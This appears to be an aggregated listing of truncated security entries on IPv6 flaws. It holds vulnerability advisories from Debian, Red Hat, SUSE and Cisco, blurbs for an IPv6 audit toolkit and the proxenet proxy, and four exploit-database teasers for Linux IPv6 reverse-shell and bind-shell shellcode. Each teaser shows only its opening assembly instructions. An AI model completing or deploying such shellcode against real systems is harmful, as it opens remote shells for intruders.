Debian Security Advisory DSA 3581-1 (libndp - security update)

Julien Bernard discovered that libndp, a library for the IPv6 Neighbor Discovery Protocol, does not properly perform input and origin checks during the reception of a NDP message. An attacker in a non-local network could use this flaw to advertise a node as a router, and cause a denial of service...

Debian: Security Advisory (DSA-3581-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

RHEL 6 : kernel (RHSA-2016:0855)

An update for kernel is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

kernel: use-after-free via crafted IPV6 sendmsg for raw / tcp / udp / l2tp sockets.

It was found that the Linux kernel's IPv6 implementation mishandled socket options. A local attacker could abuse concurrent access to the socket options to escalate their privileges, or cause a denial of service use-after-free and system crash via a crafted sendmsg system call...

Cisco IOS XE Software IPv6 Neighbor Discovery Denial of Service Vulnerability

A vulnerability in the IPv6 neighbor discovery ND handling of Cisco IOS XE Software on ASR platforms could allow an unauthenticated, adjacent attacker to cause an affected device to crash. SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced source...

Cisco IOS XR Software Crafted IPv6 Packet Denial of Service Vulnerability (cisco-sa-20150611-iosxr)

A vulnerability in the IP version 6 IPv6 processing code of Cisco IOS XR Software for Cisco CRS-3 Carrier Routing System could allow an unauthenticated, remote attacker to trigger an ASIC scan of the Network Processor Unit NPU and a reload of the line card processing an IPv6 packet. Copyright C...

Cisco IOS Software and IOS XE Software mDNS Gateway Denial of Service Vulnerability

A vulnerability in the multicast DNS mDNS gateway function of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to reload the vulnerable device. The vulnerability is due to improper validation of mDNS packets. An attacker could exploit this vulnerability...

Cisco IOS and IOS XE Software Internet Key Exchange Version 2 Fragmentation Denial of Service Vulnerability

A vulnerability in the Internet Key Exchange IKE version 2 v2 fragmentation code of Cisco IOS and IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of the affected system. The vulnerability is due to an improper handling of crafted, fragmented IKEv2 packets. An...

Cisco IOS and IOS XE Software IPv6 First Hop Security Denial of Service Vulnerabilities

Two vulnerabilities in the IPv6 first hop security feature of Cisco IOS and IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload. Cisco has released software updates that address these vulnerabilities. There are no workarounds to mitigate these...

Linux/x86-64 - Reverse TCP Shellcode (IPv6) (203 bytes)

/ Title : Linux x8664 reverse tcp ipv6 Date : 04-05-2016 Author : Roziul Hasan Khan Shifat Tested on : Ubuntu 14.04 LTS x8664 / / Disassembly of section .text: 0000000000400080 : 400080: 48 31 c0 xor rax,rax 400083: 6a 06 push 0x6 400085: 6a 01 push 0x1 400087: 6a 0a push 0xa 400089: 5f pop rdi...

Linux/x86-64 - Bind 1472/TCP Shellcode (IPv6) (199 bytes)

/ Title : Linux x8664 bind tcp : port 1472 ipv6 Date : 02/05/2016 Author : Roziul Hasan Khan Shifat Tested On : Ubuntu 14.04 LTS x8664 Contact : email protected / / section .text global start start: ;;socket xor rax,rax push 6 push 0x1 push 10 pop rdi pop rsi pop rdx mov al,41 ;socket syscall...

Cisco IOS Software Crafted IPv6 Packet Denial of Service Vulnerability (cisco-sa-20140326-ipv6)

A vulnerability in the implementation of the IP version 6 IPv6 protocol stack in Cisco IOS Software could allow an unauthenticated, remote attacker to cause I/O memory depletion on an affected device that has IPv6 enabled. The vulnerability is triggered when an affected device processes a malform...

SUSE-SU-2016:1203-1 Security update for the Linux Kernel

The SUSE Linux Enterprise 11 SP3 kernel was updated to receive various security and bugfixes. The following security bugs were fixed: - CVE-2013-7446: Use-after-free vulnerability in net/unix/afunix.c in the Linux kernel allowed local users to bypass intended AFUNIX socket permissions or cause a...

Cisco IOS Software Internet Key Exchange Version 2 Fragmentation Denial of Service Vulnerability (cisco-sa-20160323-ios-ikev2)

A vulnerability in the Internet Key Exchange IKE version 2 v2 fragmentation code of Cisco IOS Software could allow an unauthenticated, remote attacker to cause a reload of the affected system. SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced...

Cisco IOS Software IPv6 First Hop Security Denial of Service Vulnerabilities (cisco-sa-20150923-fhs)

Two vulnerabilities in the IPv6 first hop security feature of Cisco IOS Software could allow an unauthenticated, remote attacker to cause an affected device to reload. SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright ...

Linux/x86 - Reverse TCP Shellcode (IPv6) (159 bytes)

/ Title: linux x86 reverse tcp ipv6 Date: 22-04-2016 Exploit Author: Roziul Hasan Khan Shifat Tested on: kali 2.0 and Ubuntu 14.04 LTS Contact: email protected / / section .text global start start: ;;socket xor ebx,ebx mul ebx ;null out eax push byte 6 push byte 0x1 push byte 10 mov ecx,esp mov...

Linux/x86 - Bind TCP Port 1472 (IPv6) Shellcode (1250 bytes)

// Title: linux x86 bind tcp 1472 port ipv6 // Length : 1,250 bytes // Author : Roziul Hasan Khan Shifat // Tested On : kali linux 2.0 and Ubuntu 14.04 LTS // Contact : email protected / section .text global start start: xor eax,eax xor ebx,ebx mov al,2 ;fork int 80h xor ebx,ebx cmp eax,ebx je al...

Cisco Adaptive Security Appliance Software DHCPv6 Relay Denial of Service Vulnerability

A vulnerability in the DHCPv6 relay feature of Cisco Adaptive Security Appliance ASA Software could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to insufficient validation of DHCPv6 packets. An attacker could exploit this vulnerability ...

IPv6 Validation Toolkit

The IPv6 framework is a robust set of modules and plugins that allow a user to audit an IPv6 enabled network. The built-in modules support enumeration of IPv6 features such as ICMPv6 and Multicast Listener Discovery MLD. In addition, the framework also supports enumeration of Upper Layer Protocol...

DIY Web Proxy: proxenet

proxenet is a multi-threaded proxy which allows you to manipulate your HTTP requests and responses using your favorite scripting language. No need to learn Java like for Burp or Python like for mitmproxy . proxenet supports heaps of languages and more can be added easily. proxenet is a C-based...